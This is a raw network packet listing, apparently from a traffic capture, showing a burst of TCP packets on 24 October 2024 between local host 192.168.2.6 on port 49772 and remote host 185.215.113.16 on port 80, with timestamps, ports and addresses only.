Oct 24, 2024 09:07:32.718292952 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.718307018 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.718316078 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.718317986 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.718329906 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.718338013 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.718352079 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.718358040 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.718370914 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.718378067 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.718386889 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.718401909 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.718409061 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.718417883 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.718441010 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.718446016 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.718456030 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.718457937 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.718461037 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.718462944 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.718475103 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.718477964 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.718497038 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.718632936 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.718693972 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.718702078 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.718708992 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.718754053 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.718754053 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.718808889 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.718823910 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.718831062 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.718838930 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.718852997 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.718861103 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.718868971 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.718877077 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.718877077 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.718888998 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.718895912 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.718918085 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.719089031 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.719100952 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.719106913 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.719120026 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.719130993 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.719149113 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.719163895 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.719171047 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.719182014 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.719191074 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.719204903 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.719213009 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.719222069 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.719228983 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.719248056 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.719248056 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.719392061 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.719420910 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.719429016 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.719444036 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.719451904 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.719460964 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.719489098 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.719489098 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.728854895 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.729908943 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.729928970 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.729943991 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.730073929 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.760086060 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.760134935 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.760150909 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.760211945 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.760225058 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.760231972 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.760246992 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.760252953 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.760270119 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.760302067 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.760308981 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.760325909 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.760330915 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.760344982 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.760368109 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.760421991 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.760445118 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.760481119 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.760489941 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.760502100 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.760513067 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.760524988 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.760545969 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.760559082 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.760569096 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.760571003 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.760588884 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.760632038 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.760654926 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.760684013 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.760741949 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.760747910 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.760756016 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.760766029 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.760809898 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.760819912 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.760838985 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.760844946 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.760901928 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.760914087 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.760921955 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.760935068 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.760945082 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.760950089 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.760967016 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.761028051 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.761035919 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.761043072 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.761054039 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.761105061 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.761166096 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.761173010 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.761187077 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.761193037 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.761204958 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.761215925 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.761218071 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.761228085 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.761240005 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.761266947 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.761318922 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.761332989 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.761348009 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.761356115 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.761368990 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.761377096 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.761388063 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.761575937 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.761657000 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.761670113 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.761701107 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.761708021 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.761718035 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.761718035 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.761735916 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.761744976 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.761759996 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.761821032 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.761831045 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.761838913 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.761887074 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.801928043 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.801945925 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.801955938 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.801996946 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.831361055 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.831408978 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.831424952 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.831448078 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.831479073 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.831522942 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.831552029 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.831557035 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.831588984 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.831625938 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.831645966 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.831688881 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.831710100 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.831742048 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.831763029 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.831774950 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.831826925 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.831878901 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.831907034 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.831927061 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.831965923 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.831984043 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.832000971 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.832027912 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.832031965 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.832057953 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.832086086 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.832089901 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.832117081 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.832226992 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.832268000 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.832293034 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.832325935 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.832346916 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.832369089 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.832408905 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.832442999 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.832492113 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.832505941 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.832535982 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.832539082 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.832586050 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.832608938 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.832628965 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.832647085 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.832664967 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.832698107 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.832726002 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.832743883 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.832777977 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.832798958 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.832839012 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.832868099 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.832895041 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.832937956 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.832981110 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.833009005 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.833025932 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.833055973 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.833097935 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.833117008 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.833148003 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.833189964 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.833229065 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.833262920 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.833280087 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.833301067 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.833317995 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.833368063 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.833385944 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.833420038 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.833441019 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.833477020 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.833503008 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.833523035 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.833535910 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.833551884 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.833569050 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.833589077 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.833607912 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.833662033 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.833664894 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.833693981 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.833729029 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.833745956 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.833782911 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.833806992 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.833826065 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.833862066 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.833883047 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.833899975 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.833940983 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.833967924 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.833993912 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.834005117 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.834019899 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.834057093 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.834063053 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.834063053 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.834101915 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.834141970 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.834171057 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.834188938 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.834206104 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.834228992 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.834254980 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.834274054 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.834336042 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.834348917 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.834400892 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.834423065 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.834455013 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.834475040 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.834497929 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.834532976 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.834537029 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.834577084 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.834604979 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.834623098 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.834650993 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.834669113 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.834709883 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.834737062 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.834755898 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.834788084 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.834809065 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.834824085 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.834868908 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.834887028 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.834919930 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.834959984 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.834978104 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.835014105 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.835033894 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.835052013 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.835072994 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.835091114 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.835103035 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.835120916 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.835145950 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.835164070 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.835200071 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.835217953 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.835248947 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.835273981 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.835293055 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.835346937 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.835366011 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.835382938 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.835417032 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.835438967 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.835468054 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.835470915 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.835499048 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.835534096 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.835551977 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.835585117 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.835602045 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.835634947 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.835658073 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.835673094 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.835705996 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.835727930 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.835760117 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.835784912 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.835803986 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.835836887 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.835859060 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.835879087 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.835911036 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.835932970 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.835952044 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.835985899 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.836008072 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.836026907 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.836060047 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.836081982 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.836102009 CEST	80	49772	185.215.113.16	192.168.2.6
